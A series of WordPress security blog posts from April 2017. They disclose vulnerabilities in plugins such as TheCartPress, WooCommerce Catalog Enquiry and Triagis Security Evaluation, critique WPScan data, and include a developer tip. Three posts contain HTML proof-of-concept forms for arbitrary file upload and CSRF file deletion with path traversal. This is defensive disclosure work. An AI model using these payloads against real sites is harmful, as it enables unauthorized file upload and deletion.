21 Apr

Vulnerability Details: Reflected Cross-Site Scripting (XSS) Vulnerability in Simple Job Board

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

21 Apr

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in TheCartPress

In February we saw what looked like it might be a hacker probing for usage of the plugin TheCartPress. While we already had a vulnerability in our data that could have been what a hacker might be targeting, we started looking for any other vulnerabilities in the current version that might be of interest of a hacker. While doing that we found a cross-site request forgery (CSRF)/arbitrary file upload vulnerability, which could allow an attacker to cause a logged in Administrator to upload a file to the website. The file is placed in a directory that is restricted from access through a .htaccess file, so the file would only be accessible on servers that don’t use those file (several of which are supported for use with WordPress) or using a local file inclusion (LFI) vulnerability. The combination of the type of vulnerability and that restriction make it unlikely that this vulnerability would be exploited.

The vulnerability in exists in the file /admin/UploadFiles.php, which is made accessible to Administrators through the following line in the /TheCartPress.class.php:

800
add_submenu_page( 'tcp' , __( 'Upload files', 'tcp' ), __( 'Upload files', 'tcp' ), 'tcp_edit_product', TCP_ADMIN_FOLDER . 'UploadFiles.php' );

In the file /admin/UploadFiles.php the upload is handled through the function tcp_upload_file(), which does not have protection against CSRF before the file is saved to the filesystem using move_uploaded_file():

34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function tcp_upload_file( $post_id, $file ) {
	global $thecartpress;
	global $error_upload;
	$rev_name = strrev( $_FILES['upload_file']['name'] );
	$i = strpos( $rev_name, '.' );
	$ext = strrev( substr( $rev_name, 0, $i ) );
	$downloadable_path = isset( $thecartpress->settings['downloadable_path'] ) ? trim( $thecartpress->settings['downloadable_path'] ) : '';
	if ( strlen( $downloadable_path ) == 0 ) {
		wp_die( __( 'The path where the downloadable files must be saved is not set.', 'tcp' ) );
		return false;
	} else {
		global $wpdb;
		//$folder_path = $downloadable_path . '/' . $wpdb->prefix . 'tcp';
		$folder_path = $downloadable_path . '/tcp';
		if ( ! file_exists( $folder_path ) )
			if ( ! wp_mkdir_p( $folder_path ) ) {
				$error_upload = sprintf( __( 'Error creating the folder "%s".', 'tcp' ), $folder_path );
				return false;
			}
		$file_path = $folder_path . '/upload_' . $post_id . '.' . $ext;
		tcp_set_the_file( $post_id, $file_path );
		if ( move_uploaded_file( $_FILES['upload_file']['tmp_name'], $file_path ) ) {

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to the directory /wp-content/plugins/thecartpress/uploads/tcp/, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[ID of Product Post]” with the ID of a post for an existing product (which is listed in numerous places in the source code of product’s page).

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=thecartpress%2Fadmin%2FUploadFiles.php&post_id=14" method="POST" enctype="multipart/form-data">
<input type="hidden" name="post_id" value="[ID of product post]" >
<input type="hidden" name="tcp_upload_virtual_file" value="Upload file">
<input type="file" name="upload_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • February 6, 2017 – Developer notified.
20 Apr

Arbitrary File Upload Vulnerability in WooCommerce Catalog Enquiry

One of the ways we keep track of vulnerabilities in WordPress plugins so that we can provide our customers with the best data on vulnerabilities in WordPress plugins is by monitoring the Support Forum on wordpress.org for threads related to those. Through that yesterday we came across a thread discussing that the demo website for the plugin WooCommerce Catalog Enquiry contained malware. It suggested that it was possible the issue was related to a vulnerability in the plugin. Looking over the code we quickly found an arbitrary file upload vulnerability in the plugin, which could allow an attacker to upload malicious files to the website. It isn’t clear if the demo website was exploited through this or if the vulnerability has been exploited yet and we haven’t seen evidence through other channels we monitor of any exploitation, but considering the ease we had finding it would be good idea to assume this is already being exploited at this point.

WordPress Forum Moderators Interrupt Responsible Disclosure

We notified the developer of the plugin of the issue yesterday, but have yet to hear back from them. This morning the thread had been updated with a response from the developer that read in part:

Just to inform you, this issue has not generated from our plugin. A third party plugin was causing this.

There wasn’t any explanation as to the source of the malware beyond that and the demo website still contained the malicious code at that time, so we suspect that the developer probably didn’t actual know what the source was.

We responded, letting them know that the malware still being on the demo website and letting them know that we had contacted them about the vulnerability. For some reason a forum moderator removed most of our reply and left this message:

As we have mentioned before, please report plugin security vulnerabilities following the guide at https://developer.wordpress.org/plugins/wordpress-org/plugin-security/reporting-plugin-security-issues/ so that they can be handled properly by the right people, and please do not publicly disclose security vulnerabilities here.

Not only had we not disclosed any vulnerability there (the main point of our message was to try to get the vulnerability fixed before we needed to disclose it), but the guidelines they linked to actually stated at the time:

In the case of serious exploits, please keep in mind responsible and reasonable disclosure. Every attempt to contact the developer directly should be made before you reported the plugin to us (though we understand this can be difficult – check in the source code of the plugin first, many developers list their emails).

Which is what we were in the process of doing. The thread goes on from there with more troubling lack of understanding from forum moderators and the security team (which is far too common an occurrence in our experience).

Deciding when we disclose vulnerabilities is problematic to say the least, because we have an obligation to notify our customers of vulnerabilities in the plugins they use promptly as that is what they are paying us for, but we will also want to limit the additional damage that can be done by vulnerabilities even for those not using our service. The longer we wait the higher the chances one of our customer could be impacted by a vulnerability they should have known about, but waiting could limit damage on a wider scale. We try to balance in our formal disclosure policy and by publicly disclosing vulnerabilities we have discovered so that our customers are not alone in knowing there is an issue (though other WordPress plugin vulnerability data providers don’t seem to do a good job of including those vulnerabilities). For vulnerabilities that are already likely being exploited we also add them to the free data that comes with our services companion plugin, to further limit the damage.

By comparison the WordPress thinks it is appropriate to never warn people about vulnerable plugins that are being exploited until they are fixed, despite the fact that some of those are never fixed, leaving website open to being exploited indefinitely.

The forum moderators also removed the plugin from the Plugin Directory, which will slow down the possibility of fixing the plugin since additional steps have to happen for a fixed version to be released to the public, so we are disclosing the vulnerability now. We had hoped to hold off until there was a fix, if it was quick in coming, but the forum moderators decided to interrupt the process.

Seeing as the vulnerability may already being exploited we are adding it to the free data in our service’s companion plugin, so even those not using the service will get notified if they are using a vulnerable version. Though for those running WooCommerce on their website (as we do), using our service is a good idea as you likely have sensitive data passing through or being stored on your website and this isn’t the only time a plugin for WooCommerce has had a serious vulnerability. We previously found two other arbitrary file upload vulnerabilities in plugins for it and there was another vulnerability found in one last year that would expose order data, which we found that no security plugins would protect against.

Vulnerability Details

The vulnerability involves the function send_product_enqury_mail() located in the file /classes/class-wc-Woocommerce-Catalog-Enquiry-ajax.php. That function is made available through WordPress’ AJAX functionality to those logged in to WordPress and those not logged in:

6
7
add_action('wp_ajax_send_enquiry_mail', array&$this, 'send_product_enqury_mail') );
add_action( 'wp_ajax_nopriv_send_enquiry_mail', array( &$this, 'send_product_enqury_mail' ) );

As of version 3.0.0 the function has the following code that would take a file sent with a request to that function and save it to the filesystem:

59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
if(isset($_FILES['fileupload'])){
	// create catalog enquiry sub directory within uploads
	$upload_dir = wp_upload_dir();
	$catalog_enquiry = $upload_dir['basedir'].'/catalog_enquiry';
	if ( ! file_exists( $catalog_enquiry ) ) {
	    wp_mkdir_p( $catalog_enquiry );
	}
 
	foreach ($_FILES['fileupload'] as $key => $value) {
        $_FILES['fileupload'][$key] = $value[0]; 
    }
    $woo_customer_filesize = 2097152;
    if(isset($settings['filesize_limit']) && !empty($settings['filesize_limit'])){
    	$woo_customer_filesize = intval($settings['filesize_limit'])*1024*1024;
    }
 
    // Check file size
	if ($_FILES['fileupload']['size'] < $woo_customer_filesize) {
		$target_file = $catalog_enquiry.'/'.basename($_FILES['fileupload']['name']);
	    if (move_uploaded_file($_FILES['fileupload']['tmp_name'], $target_file)){
			    	$attachments[] = $target_file; 
	    }
	}
}

That code doesn’t limit what files can be uploaded or in some way restrict access to them. It isn’t clear to us why the files are being saved to the filesystem since the uploading them seems to be so that they can be sent in an email later in the function.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/catalog_enquiry/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="send_enquiry_mail" />
<input type="file" name="fileupload[0]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 19, 2017 – Developer notified.
  • April 20, 2017 – Plugin removed from WordPress.org Plugin Directory.
  • April 20, 2017 – Vulnerability added to free data in our service’s companion plugin.
20 Apr

Security Tip for Developers: You Don’t Need to Restrict Direct Access to .php Files Twice

One of the items we check for during our security reviews of plugins selected by our customers is to see if the plugin’s .php files can be accessed directly when they are not intended to. While being able to access them directly when that isn’t necessary usually doesn’t have any security impact, it is easy to prevent that from happening and it could in some cases prevent serious issues, like a remote code execution (RCE) vulnerability we found being exploited in a security plugin last year.

Something we ran across recently in our monitoring of security changes made to plugins, which allows us to include data on vulnerabilities that you won’t find in other sources of WordPress plugin vulnerability data, indicates that developers implementing such protection don’t always understand what it is that they are implementing.

The changelog entry for the new version of a plugin was “Security plugin fix.”, but in looking at the changes made we found the only change was that the following code was added:

if ( ! defined( 'ABSPATH' ) ) { 
    exit; 
}

That is code that will prevent direct access to the file, as we will explain in a second.

That wasn’t a security fix since the code was added directly below this piece of code:

if ( ! defined( 'WPINC' ) )  die;

While that looks a bit different than the first one, it does exactly the same thing.

Then yesterday in the same plugin another change was made that added the following lines to the beginning of the code in a number of files:

if ( ! defined( 'WPINC' ) )  die; 
if ( ! defined( 'ABSPATH' ) ){ exit;  }

Seeing as both lines do the same thing, we were confused as to what might be going on. We wondered if we were missing something or if we could find an explanation as to what might be going on.

In our search for answers we couldn’t find anyone suggesting doing both of those, but we did run into a StackExchange question from someone wondering which to use. Seeing as there still seems to confusion on this let’s take a closer look at what they both do.

First let’s deal with the easy part of this, “die” and “exit” are the same. PHP just allows you terminate a script with either one.

The first part checks if a constant is defined, which for either “WPINC” or “ABSPATH” will not be true if you make a request directly to a .php file from a plugin. So which one is checked doesn’t make any difference for what is being done. When they are not defined “die” or “exit” executes and no more code in the file will run.

To full explain things though, “WPINC” or “ABSPATH” are constants that are defined when WordPress is loading. Normally, when requesting a front-end page  “ABSPATH” will be defined by the file /wp-load.php and “WPINC” will defined later when the file /wp-settings.php is loaded. Since neither one of those files will have been loaded when first accessing a plugin’s file directly, it doesn’t matter which one you check for, so you just need to add one of those line before the rest of the code in the file to prevent direct access.

19 Apr

Cross-Site Request Forgery (CSRF) Vulnerabilities in Triagis® Security Evaluation

Far too often it is found that security plugins for WordPress introduce security vulnerabilities of their own, which if you know much about security isn’t too surprising considering that so many security companies don’t seem to know and or care much about security.

We recently ran across the security plugin Triagis® Security Evaluation, which is described as “a simple lite-weight plugin to analyze your current WordPress installation, server for security vulnerabilities”. While taking a look over the plugin we found that it made functions available through WordPress’ AJAX functionality that are restricted to Administrator level users, but lack protection against cross-site request forgery (CSRF). Through that an attacker could cause a logged in Administrator to change the WordPress content directory’s location, change the website’s file permissions, delete arbitrary files on a website, change a user’s username, change the database prefix, or move the WordPress configuration file. While CSRF vulnerabilities are not something likely to be targeted at this time, an attacker could cause some serious issues if they were successful in exploiting this.

As an example of the issues let’s take a look at the function w4sl_delete_file_ajax() (in the file /admin/page-security-informations.php), which handles deleting files.

The function checks if the user making the request is an Administrator:

575
576
if( !is_super_admin())
	die( json_encode( array( 'error' => 'Unauthorized access !!' )));

Then it checks if the file being requested to exists and is readable:

578
579
580
581
582
583
$file = w4sl_sanitize_path( $_POST['file'] );
if( empty( $file ) || !file_exists( $file ))
	die( json_encode( array( 'error' => 'File not found !!' )));
 
if( !is_readable( $file ))
	die( json_encode( array( 'error' => 'File not readable !!' )));

After that it deletes the file:

585
@unlink( $file );

Nowhere in the function is there a check for valid nonce, which is used to prevent CSRF in WordPress.

Proof of Concept

The following proof of concept will delete a file named test.txt in the root directory of the WordPress install.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="w4sl_delete_file" />
<input type="hidden" name="file" value="../test.txt" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • April 10, 2017 – Developer notified.
  • April 19, 2017 – WordPress.org Plugin Directory notified.
  • April 19, 2017 – Removed from WordPress.org Plugin Directory.
19 Apr

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Rimons Twitter Widget

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Apr

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Email Post Approval

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

17 Apr

WordPress Plugin Security Review: Google Analytics for WordPress by MonsterInsights

For our ninth security review of a plugin based on the voting of our customers, we reviewed the plugin Google Analytics for WordPress by MonsterInsights.

If you are not yet a customer of the service you can currently try it free for your first month and then start suggesting and voting on plugins to get security reviews after your first payment for the service. For those already using the service that haven’t already suggested and voted for plugins you can start doing that here.

The review was done on version 6.1.7 of Google Analytics for WordPress by MonsterInsights. We checked for the following issues:

  • Insecure file upload handling (this is the cause of the most exploited type of vulnerability, arbitrary file upload)
  • Deserialization of untrusted data
  • Security issues with functions accessible through WordPress’ AJAX functionality (those are a common source of disclosed vulnerabilities these days)
  • Persistent cross-site scripting (XSS) vulnerabilities in publicly accessible portions of the plugin
  • Cross-site request forgery (CSRF) vulnerabilities in the admin portion of plugins
  • SQL injection vulnerabilities (the code that handles requests to the database)
  • Reflected cross-site scripting (XSS) vulnerabilities
  • Lack of protection against unintended direct access of PHP files

Results

During the review we only found one minor issue:

Lack of Protection Against Direct Access to Files

Numerous .php files that look like they are not intended to be accessed directly are lacking code at the beginning of the file to restrict direct access to the files. In the files we looked over we didn’t see anything that could be exploited due to that.

14 Apr

Plugin Using WPScan Vulnerability Database Data Doesn’t Warn When Using Unfixed Vulnerable Plugins

While we think that our service provides the best data on vulnerabilities in WordPress plugins, for many websites paying for a service to warn about the use of vulnerable plugins is probably not in the cards. You can always use the companion plugin for our service, which includes data on vulnerabilities in plugins that are being targeted by hackers. But what if you are looking for more broad based vulnerability data? That is where data from the WPScan Vulnerability Database can be good alternative, since there is no cost for access to their data (though some services actually charge for accessing that data). It is important to note that their data has some serious quality issues, including it not warning about vulnerabilities that are included our plugin’s data despite that being for vulnerabilities that are being exploited and the data being freely accessible (if you use a plugin or service that uses their data you will want to combine it with our plugin to protect you from this situation).

There are a number of plugins that provide access to that data, but as we found yesterday while preparing a post about another problem with WPScan’s data, not all of those plugins are equal and in the case of one them it is not providing important warnings.

While looking to show an example of one of them incorrectly warning about a vulnerability due to WPScan’s data indicating that a plugin was vulnerable when it wasn’t, we found that one of them, Vulnerable Plugin Checker, wasn’t providing a warning. We then tried to figure out what was going on and found the plugin will not provide any warning that a plugin is vulnerable if the vulnerability hasn’t been fixed. That is pretty serious issue since the most important use of this type of data is to warn when a vulnerability hasn’t been fixed, since if it has been fixed, simply keeping your plugins up to date will protect you even if you are not aware of the vulnerability.

To show what the cause is, let’s take a look at part of the code that adds a warning to a plugins listing on the Installed Plugins page, which is handled in part by the function admin_head(). The code checks to see if the plugin is known to be vulnerable with this line:

350
if ( isset( $plugin['is_known_vulnerable'] ) &&  'true' == $plugin['is_known_vulnerable'] ) {

The determination if it is vulnerable is handled with the following check in the function get_cached_plugin_vulnerabilities() (a substantially similar one is in the function get_fresh_plugin_vulnerabilities()):

151
152
153
154
155
// if plugin fix is greater than current version, assume it could be vulnerable
$plugin['is_known_vulnerable'] = 'false';
if ( version_compare( $vulnerability['fixed_in'], $plugin['Version'] ) > 0 ) {			
	$plugin['is_known_vulnerable'] = 'true';
}

For a plugin that hasn’t been fixed the value of $vulnerability[‘fixed_in’] in that will be null, so the plugin is considered to not be known to be vulnerable. Because the plugin is not considered to be vulnerable, no warning will be provided.

The end result of that if someone is relying on this plugin they would not be warned if, for example, they were using the latest version of Delete All Comments, despite a serious vulnerability in that, which was discovered by a security company after it was used to exploit a website:

We have notified the developer of the plugin through the WordPress Support Forum of the issue, so hopefully for those relying on the plugin it will get fixed quickly. If you are using another plugin or service that relies on WPScan’s data it would be a good idea to check if they are properly handling this type of situation and otherwise properly handling the use of WPScan’s data (in one other case we found a security company was misusing their data on vulnerabilities in WordPress and making false claims about WordPress websites being insecure).

Non-Independent Reviews

For a plugin that seems to have such a fundamental problem, taking a quick glance at its page on the Plugin Directory it might be surprising to see that it has received only five stars reviews:

While it is possible that independent reviewers might not have noticed this issue, in this case it looks like most of the reviews come from problematic sources. One comes from the developer of the plugin, another one comes from what looks to be their brother, and another one comes from account that looks like it was created just to post the review, which often is an indication that it isn’t an independent review. This seems like a good reason for those connected with a plugin to not be reviewing their own plugins, as it provides a skewed view of the plugin (would they ever give the plugin a poor review?).

13 Apr

WPScan Vulnerability Database Incorrectly Identifying Some BestWebSoft Plugins as Being Vulnerable

Earlier today we disclosed a reflected cross-site scripting (XSS) vulnerability we had found in numerous plugins by BestWebSoft after another security company that had independently found the same vulnerability disclosed it (the developer of the plugins was aware of it before either of us, but hadn’t fixed it in most of their plugins).

If we hadn’t already known about the vulnerability and prepared the data on the vulnerable plugins we would have had a lot of work to do today as the vulnerability impacts 53 plugins. The most time consuming part of preparing that data is determining what versions are vulnerable, but doing that insures that our customers are only notified if they are using a vulnerable version. While this vulnerability is unlikely to be exploited, for vulnerabilities that are likely to exploited determining the vulnerable versions is also important for those using the data while cleaning up a hacked website as it is possible that a website might be using a version that is older than the version identified as being vulnerable but is not vulnerable due to vulnerabilities not always existing in all older version (in a couple of cases last year vulnerabilities being exploited on a wide scale only existed in a single version of the plugins).

For those relying on another service or plugin to warn them of vulnerabilities in WordPress plugins they use, the underlying source of the data is likely from the WPScan Vulnerability Database and for those people they are likely to fair number of them being warned that they are using a vulnerable version of one of BestWebSoft’s plugins when they are not. The cause of that is that according to WPScan’s data none of the plugins have been fixed despite the fact that 13 of them have been fixed and were fixed before the disclosure. Take for instance the most popular fixed plugin, Google Sitemap by BestWebSoft, which has 90,000+ active installs according to wordpress.org. The vulnerability was fixed in that plugin two weeks ago.

Here is how it would look if WPScan’s data indicates a vulnerability was fixed:

And here is how their listing for this vulnerability currently looks:

Here is how it looks for an end user using one of the plugin’s that uses their data if they have the current version of Google Sitemap by BestWebSoft installed, despite it not being vulnerable:

The Downsides of Using WPScan’s Data

While we think that WPScan’s data is a good option for a lot of people because it is available for free, it does come with significant downsides that anyone using should know about. This also includes odd omissions of vulnerabilitieslisting false vulnerabilities in their data and listing vulnerabilities that haven’t been fixed as being fixed. Not only are we not aware of anyone using their data including notice of those issues, but some plugins and services that use the data don’t disclose is as the source of their data so even if someone was aware of the issues with their data, they wouldn’t know it impacts them. Also problematic are services that actually charge for access to the data, because if you are paying for WordPress plugin vulnerability data then you should be getting better quality data than this.